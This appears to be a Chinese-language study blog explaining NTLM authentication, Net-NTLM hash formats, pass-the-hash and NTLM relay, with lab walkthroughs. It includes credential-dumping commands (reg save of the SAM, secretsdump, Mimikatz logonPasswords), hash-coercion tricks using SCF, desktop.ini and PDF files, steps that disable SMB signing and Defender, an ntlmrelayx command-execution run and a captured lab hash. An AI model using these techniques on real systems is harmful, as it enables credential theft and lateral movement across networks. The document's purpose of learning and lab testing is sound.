NTLM 协议是 Microsoft 环境中使用的身份验证协议。特别是,它允许用户向服务器证明其身份,以便使用该服务器提供的服务。PTH在域渗透中并不陌生,hash 传递攻击 。NTLM Relay ,NTLM认证协议的中间人攻击,这些都设计到NTLM Hash 和Net-NTLM Hash 本文就来具体介绍
There are two possible scenarios:
- 用户使用服务器本地帐户的凭据,在这种情况下,服务器在其本地数据库中拥有用户的密码,并且能够对用户进行身份验证;
- 在Active Directory域环境中,用户在身份验证过程中使用域帐户,在这种情况下,服务器将必须要求域控制器验证用户提供的信息。
基础知识
Local account
服务器需要存储本地用户及其密码的哈希值。该数据库的名称是SAM (安全帐户管理器)。 SAM 可以在注册表中找到,特别是使用regedit工具,但仅当以SYSTEM身份访问时。可以使用psexec作为SYSTEM打开它:
psexec.exe -i -s regedit.exe |
psexec 是啥,先暂时跳过,之后再补
在本地磁盘上对应着文件:C:\Windows\System32\SAM
因此它包含本地用户列表及其哈希密码,以及本地组列表。嗯,更准确地说,它包含哈希值的加密版本。但由于解密它们所需的所有信息也都在注册表中(SAM 和 SYSTEM),因此我们可以有把握地说它们的哈希版本存储在那里。如果你想了解解密是如何工作的,可以去查看secretsdump.py代码或Mimikatz代码。(嗯,解密代码先跳过)
可以备份 SAM 和 SYSTEM 数据库以提取用户Hash
首先我们将两个数据库保存在一个文件中:
reg.exe save hklm\sam save.save |
然后,我们可以使用secretsdump.py来提取这些哈希值
secretsdump.py -sam sam.save -system system.save LOCAL |
使用Mimikatz 抓取Hash:
privilege::debug |
Domain account
使用域帐户完成身份验证后,用户的 NTLM Hash不再存储在服务器上,而是存储在域控制器上。用户想要验证的服务器收到其质询的答案,但它无法检查该答案是否有效。它将将此任务委托给域控制器。
为此,它将使用Netlogon服务,该服务能够与域控制器建立安全连接。这种安全连接称为安全通道。这种安全连接是可能的,因为服务器知道自己的密码,并且域控制器知道服务器密码的哈希值。他们可以安全地交换会话密钥并安全地进行通信。
域控制器将在其数据库中查找用户的 NTLM哈希值。对于域控来说,它不在 SAM 文件中,因为它是尝试进行身份验证的域帐户。这次它位于一个名为NTDS.DIT的文件中,该文件是所有域用户的数据库。一旦检索到 NTLM 哈希值,它将使用该哈希值和质询计算预期响应,并将该结果与客户端的响应进行比较。
NTLM 是认证协议,一般嵌套在其他协议之上,如SMB、LDAP 、HTTP
抓取Hash 会再开一篇 具体学习
NTLM身份验证
在Windows认证机制概述那篇文章上,大概讲述了NTLM身份验证的步骤
现在再来具体看看
NTLM验证是一种Challenge/Response 验证机制,由三种消息组成:通常称为type 1(协商),type 2(质询)和type 3(身份验证)。
它基本上是这样工作的:
抓包:一般使用SMB 触发NTLM认证
建立IPC共享:
net use \\192.168.120.139\ipc$ <密码> /user:<用户名> |
wireshark抓包
这里面的三个包,对应着NTLM 认证的三步
1. 协商
由client端向server端请求(注意,这里并没有包含要认证的用户名)
这个过程是客户端向服务器发送type 1(协商)消息,它主要包含客户端支持和服务器请求的功能列表。
主要包含以下结构:
Signature (8 bytes): 8字节 必须包含字符数组:(‘N’, ‘T’, ‘L’, ‘M’, ‘S’, ‘S’, ‘P’, ‘\0’)
MessageType (4 bytes): 表示消息类型,值必须为 0x0000001
数据包如下:
协商的数据包可以看到,有许多的标志位,还有一些版本信息
字段具体含义,见官方文档:NEGOTIATE_MESSAGE
2.质询
由server端向client端响应,接着第一步这里只有服务端向客户端响应
这个过程是服务器用type 2消息(质询)进行响应,这包含服务器支持和同意的功能列表。但是,最重要的是,它包含服务器产生的Challenge。
主要 包含以下结构:
其中最主要的信息是服务端返回的challenge。后面加密验证依赖于challenge
Chanllenge 即 NTLM Server Challenge
字段具体含义,见官方文档:CHALLENGE_MESSAGE
3.身份验证
由client端向server端请求
这个过程客户端接收到challenge之后,使用用户hash与challenge进行加密运算得到response,将response,username,challenge发给服务器。消息中的response是最关键的部分,因为它向服务器证明客户端用户已经知道帐户密码。
主要包含以下结构:
这里的Challeng不同于第二步中的Challenge,这里的Challenge是一个随机的客户端nonce。
MIC是校验和,设计MIC主要是为了防止这个包中途被修改
session_key是在要求进行签名的时候用的,用来进行协商加密密钥,可能有些文章会说session_key就是加密密钥,需要拥有用户hash才能计算出来,因此攻击者算不出来,就无法加解密包。但是想想就不可能,这个session_key已经在流量里面明文传输,那攻击者拿到之后不就可以直接加解密包了。当然这是后话,后面讲签名的时候会详细讲讲这个问题。
如果想仔细理解每个字段的值请阅读官方文档AUTHENTICATE_MESSAGE
Net-ntlm hash
在第三步的响应中,存在6种响应类型:
- LM(LAN Manager)响应 (LM Response)- 由大多数较早的客户端发送,这是“原始”响应类型。
- NTLM v1响应(NTLM v1 Response) - 这是由基于NT的客户端发送的,包括Windows 2000和XP。
- NTLMv2响应 (NTLM v2 Response)- 在Windows NT Service Pack 4中引入的一种较新的响应类型。它替换启用了 NTLM版本2的系统上的NTLM响应。
- LMv2响应(LMv2 Response) - 替代NTLM版本2系统上的LM响应。
- NTLM2会话响应(NTLM2 Session Response) - 用于在没有NTLMv2身份验证的情况下协商NTLM2会话安全性时,此方案会更改LM NTLM响应的语义。
- 匿名响应(Anonymous Response) - 当匿名上下文正在建立时使用; 没有提供实际的证书,也没有真正的身份验证。“存 根”字段显示在类型3消息中。
这六种使用的加密流程一样,都是前面我们说的Challenge/Response 验证机制,区别在Challenge和加密算法不同。
这里我们侧重讲下NTLM v1响应和NTLMv2响应
这些响应可以在本地安全策略→本地策略→安全选项→网络安全:LAN 管理器身份验证级别中配置。
注册表位置为:HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel
Value | Options | Description |
---|---|---|
0 | 发送 LM NTLM 响应 | 客户端使用 LM 和 NTLM 身份验证,而决不会使用 NTLMv2 会话安全;域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 |
1 | 发送 LM 和 NTLM - 如果已协商,则使用 NTLMv2 会话安全 | 客户端使用 LM 和 NTLM 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 |
2 | 仅发送 NTLM 响应 | 客户端只使用 NTLM 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 |
3 | 仅发送 NTLMv2 响应 | 客户端只使用 NTLMv2 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器接受 LM、NTLM 和 NTLMv2 身份验证。 |
4 | 仅发送 NTLMv2 响应/拒绝 LM | 客户端只使用 NTLMv2 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器拒绝 LM,而只接受 NTLM 和 NTLMv2 身份验证。 |
5 | 仅发送 NTLMv2 响应/拒绝 LM 和 NTLM | 客户端只使用 NTLMv2 身份验证并在服务器支持时使用 NTLMv2 会话安全。 域控制器拒绝 LM 和 NTLM,而只接受 NTLMv2 身份验证。 |
各系统的默认值为:
- Windows 2000 以及 Windows XP: 发送 LM & NTLM 响应
- Windows Server 2003: 仅发送 NTLM 响应
- Windows Vista、Windows Server 2008、Windows 7 以及 Windows Server 2008 R2 及以上: 仅发送 NTLMv2 响应
再次回顾NTLM v1 与NTLM v2的区别
- 长度区别:v2是16位的Challenge,而v1是8位的Challenge
- 加密算法区别:v1是将 16字节的NTLM hash空填充为21个字节,然后分成三组,每组7比特,作为3DES加密算法的三组密钥,加密Server发来的Challenge。 将这三个密文值连接起来得到response。
而v2是的加密算法是
(1). 将Unicode后的大写用户名与Unicode后的身份验证目标(在Type 3消息的”TargetName”字段中指定的域或服务器名称)拼在一起。请注意,用户名将转换为大写,而身份验证目标区分大小写,并且必须与“TargetName”字段中显示的大小写匹配。使用16字节NTLM哈希作为密钥,得到一个值。
(2) 构建一个blob信息
(3). 使用16字节NTLMv2哈希作为密钥,将HMAC-MD5消息认证代码算法加密一个值(来自type 2的Challenge与Blob拼接在一起)。得到一个16字节的NTProofStr。
(4). 将NTProofStr与Blob拼接起来形成得到response。
至于选择哪个版本的响应由LmCompatibilityLevel决定。
Challenge/Response验证机制即NTLM身份验证里面第三步 response里面包含Net-ntlm hash,NTLM v1响应和NTLMv2响应对应的就是Net-ntlm hash分为Net-ntlm hash v1和Net-ntlm hash v2。
Net-ntlm hash v1的格式为:
username::hostname:LM response:NTLM response:challenge |
Net-ntlm hash v2的格式为:
username::domain:challenge:HMAC-MD5:blob |
- 上面Net-NTLM中的challenge是第二步质询 服务器返回的challenge不是第三步中 流量包里面的client Challenge
在上面数据包中也就是:e0b96d6854c55339
- HMAC-MD5对应第三个数据包中的NTProofSt
在上面数据包中就是:50a43613edebfb8f15c0997c186fb8b3
- blob就是response(第三个数据包) 减去NTP1roofStr。(因为在计算response 的时候,response 就是由NTProofStr加上blob)
在上面数据包中就是:0101000000000000c31a55f4590fdb018e1cea5409304e220000000002000c00590059004a0043004300430001001e00570049004e002d003100550056003000540048005100550054004300490004001400790079006a006300630063002e0063006f006d0003003400570049004e002d00310055005600300054004800510055005400430049002e00790079006a006300630063002e0063006f006d0005001400790079006a006300630063002e0063006f006d0007000800c31a55f4590fdb0106000400020000000800300030000000000000000100000000200000983757a7cf637c60e63e6f0edc446e3e98de62a80428c403ccafc73c02e0e0e70a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100320030002e003100330038000000000000000000
最后可以组合得到Net-NTLM v2 Hash:
Queziya::yyjccc.com:e0b96d6854c55339:50a43613edebfb8f15c0997c186fb8b3:0101000000000000c31a55f4590fdb018e1cea5409304e220000000002000c00590059004a0043004300430001001e00570049004e002d003100550056003000540048005100550054004300490004001400790079006a006300630063002e0063006f006d0003003400570049004e002d00310055005600300054004800510055005400430049002e00790079006a006300630063002e0063006f006d0005001400790079006a006300630063002e0063006f006d0007000800c31a55f4590fdb0106000400020000000800300030000000000000000100000000200000983757a7cf637c60e63e6f0edc446e3e98de62a80428c403ccafc73c02e0e0e70a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100320030002e003100330038000000000000000000 |
PTH
这里就简单过一下,体会一下打pth,后续再详细学习
NTLM Hash 获取
这里只介绍使用mimikazt,另外的已经另外写了一篇了
- 提升至debug 权限,拥有dump 内存的权限
privilege::debug |
- dump 本地hash
sekurlsa::logonPasswords |
或者读取SAM数据库获取用户Hash,获取系统所有本地用户的hash
token::elevate |
Hash 传递方式
主要是通过445,135,139,5985 (http) 或 5986(https) 这四个端口的服务来进行的
Mimikatz
这个需要本地管理员权限
privilege::debug |
这里pth 只介绍用Mimikatz 打SMB 。当然,PTH远不止这一个手法
Mimikatz pth 成功后并不是直接拿到对方机器的shell,而是拿到对方SMB服务的权限,能直接使用SMB连接
会弹出一个交互式的终端,这个终端以及伪造为我们指定的hash和用户,可以直接访问smb服务,我们可以通过copy文件,然后执行计划任务去拿到shell
dir \\192.168.120.139\c$ //列举域控的C盘下的目录 |
也是成功上传文件了不过cs木马落地就被Windows安全中心给杀了,后面再改进
这个也大致讲了Mimikatz 打pth本质上还是利用IPC来横向移动(这个后面再开一篇学习)
除此之外,某些情况下可以通过PTH+远程桌面进行横向
这里pth攻击其实就是在本地起一个程序,然后注入hash凭证
NTLM Relay攻击
概述
也叫做NTLM重放攻击
NTLM是一个嵌入式协议,消息的传输依赖于使用ntlm的上层协议,比如SMB,LDAP,HTTP等,那ntlm的上层协议是smb的情况下,ntlm_relay就是smb_relay。那如果上层协议是http,我们也可以叫做http_relay,但是都统称ntlm_relay。消息的传输依赖于使用ntlm的上层协议,比如SMB,LDAP,HTTP等,那不管上层协议是啥,ntlm的认证总归是type 1,type 2,type3 。所以我们就不局限于之前提到的smb到smb这种relay,
原理如图:
ntlm relay的原理可以简述为,存在一个中间人,也就是攻击者,然后客户端认为他是服务端,服务端认为他是客户端。所以全程客户端都在和攻击者进行交互,然后攻击者将获得到的信息拿来和服务端交互,所以服务端认为攻击者是客户端,这样也就达到了伪造客户端进行认证的目的。
关键点在于让受害者将Net-NTLM Hash 传递给攻击者,或者说是成为中间人
有几个技术可以做到:
- ARP欺骗
- DNS 欺骗
- Windows IPv6 堆栈的错误配置
- NTBS (NetBIOS) / LLMNR 欺骗
其实上面我现在只知道ARP欺骗
通过上面手段,获取到的是Net-NTLM Hash
Responder 是一款使用 Python 编写用于毒化 LLMNR 和 NBT-NS 请求的一款工具。
Responder 项目地址:https://github.com/lgandx/Responder
Responder并不支持Windows
NTBS 和 LLMNR欺骗
在另外一篇中已经提到:LLMNR\NBT-NS\MDNS欺骗
事实上,在网络渗透测试期间,上面提到的方法可能会失败,因为网络的自动发现协议被禁用。
Relay攻击在现实中也很难实现,关键点在与对于受害者的钓鱼,让受害者主动发起NTLM请求
发起NTLM请求
网络命令
使受害者发送NTLM请求
下面一些命令可以让受害者发送NTLM请求
> net.exe use \hostshare |
通过让受害者执行上面命令,可以在responder中获取到Net-NTLM Hash值
系统图标
这种方式比较鸡肋,不好钓鱼
每个文件夹底下都有个文件desktop.ini来指定文件夹图标之类的,默认不可见,可以通过在控制面板中去掉”隐藏受保护的操作系统文件”看到
资源管理器-> 查看 -> 选项 (win10)
每个文件夹底下都会有,我们新建一个新的文件夹的话,如果没看到desktop.ini,可以尝试更改图标,就可以看到了
之后将图标路径改成UNC路径,指向我们的服务器,(改成网络路径)
SCF文件利用
scf文件包含了IconFile属性,所以Explore.exe会尝试获取文件的图标,而IconFile是支持UNC路径的,以下是scf后缀的文件的格式
[Shell] |
新建test.scf,之后写入以上内容并将其放在一个文件夹底下,当用户访问该文件夹的时候,我们就会获得用户的net-ntlm hash
构造pdf
PDF规范允许为GoTobe和GoToR条目加载远程内容,PDF文件可以添加一项功能,请求远程SMB服务器的文件,我们直接使用三好学生的脚本https://github.com/3gstudent/Worse-PDF
当受害者使用PDF阅读器打开恶意的PDF时可导致载荷成功执行,并返回NTLM-Hash
其他方式还有构造word,设置用户图像等等,就不细看了,可以参考:https://xz.aliyun.com/t/13124?time__1311=GqmhqUxoGKGNDQtiQY0QiMG2GDk3IAeD#toc-10
和
Net-NTLM Relay
SMB-Relay
懂的,中继,Relay,重放是一个意思
条件:relay到smb服务要求被攻击机器不能开启SMB签名,域内主机的 SMB 签名默认关闭,但域控是默认开启的
在SMB连接中需要使用安全机制来保护服务器和客户端之间传输数据的完整性,而这种安全机制就是SMB签名和加密,如果关闭SMB签名,会允许攻击者拦截认证过程并且将获得hash在其他机器上进行重放,从而获得域管权限,目前SMB常用来做为SMB文件共享、打印机,如果签名关闭可能导致文件共享、打印机被入侵
使用nmap查看是否关闭SMB签名
nmap -n -p445 192.168.120.135 --script=smb-security-mode |
关闭签名
reg add HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v RequireSecuritySignature /t REG_DWORD /d 0 /f |
SMB-Relay又分为在工作组环境下和在域环境下,但是一般工作组环境下比较少。
- 工作组环境:在工作组环境中,工作组中的机器之间相互没有信任关系,每台机器的账号密码只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样,不然没有别的意义了。但是如果账号密码相同的话,为何不直接Pass The Hash攻击呢?因此在工作组环境下,Relay到其他机器不太现实。这个时候的攻击手段就是将机器Relay回机子本身。因此微软在ms08-068中对Relay到自身机器做了限制,严禁Relay到机器自身。CVE-2019-1384(Ghost Potato)就是绕过了该补丁。
- 域环境:在域环境中,默认普通域用户可以登录除域控外的其他所有机器(但是为了安全,企业运维人员通常会限制域用户登录的主机),因此可以将Net-NTLM Hash Relay到域内的其他机器。如果是拿到了域控机器的Net-NTLM Hash,可以Relay到除域控外的其他所有机器(为啥不Relay到其他域控,因为域内只有域控默认开启SMB签名)。
因为工作组环境的适用环境比较少,这里主要讨论下域环境下的。
可以检查注册表
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManWorkstation\Parameters |
所以攻击场景为:拿下了域控,然后smb-relay域内其他主机
开启SMBv1协议(pass)
Enable-WindowsOptionalFeature -Online -FeatureName smb1protocol |
嗯,实际好像在用SMB2 (Win10)
环境:
- Win10 : 192.168.120.135
- Windows Server 2019 : 192.168.120.139
- kali : 192.168.120.140
试过网上的几种方法
responder 中的MultiRelay.py, kali自带的smbrelayx.py都不行,
自带的没有支持smb2协议
impacket
项目地址:https://github.com/fortra/impacket/tree/master
切换到examples目录
python3 ntlmrelayx.py -t 192.168.120.135 -c whoami -smb2support |
这里只能使用http
通过社工手段让域控访问攻击者ip并输入用户密码(或者是已经拿下域控)
这里需要域管的账号,否则后面可能报没有权限的错误
这里可以发现smb认证成功了,但是好像没有执行命令
登上win10看看,发现是被Windows安全中心拦截了
手动关闭Windows安全中心病毒防护
经历千辛万苦,折磨了半天,终于命令执行成功了,拿下了system权限
后续可以上cs马等等
当然这里的细节就涉及具体的漏洞,像MS08-068,CVE-2015-0005等等
其他没有提到的利用,可以参考:Net- NTLM 利用 | windows protocol
后序
本篇就介绍了NTLM的认证协议,Net-NTLM Hash,PTH ,NTLM-Relay 等等,其中肯定还有许多的东西只提及到一点点,像PTH,NTLM Relay其他攻击方式,SMB -Relay的其他漏洞等等
这位师傅写的就比较全:https://en.hackndo.com/ntlm-relay/
以后若再遇到,再更新
这也大致了解了NTLM-Hash 和Net-NTLM Hash 的一些利用手法
Reference
- NTLM 基础 介绍 | windows protocol (gitbook.io)
- https://en.hackndo.com/pass-the-hash/#protocol-ntlm
- https://en.hackndo.com/ntlm-relay/
- https://xz.aliyun.com/t/12627
- https://www.vaadata.com/blog/understanding-ntlm-authentication-and-ntlm-relay-attacks/
- https://xz.aliyun.com/t/8117
- https://xz.aliyun.com/t/13124
- https://exp10it.io/2019/07/smb-%E9%87%8D%E6%94%BE%E6%94%BB%E5%87%BB/
- https://qingwan.top/2024/01/23/ntlm%20relay
- https://www.cnblogs.com/yokan/p/16102699.html
- https://tttang.com/archive/1548/#toc_0x003-smbrelayxpy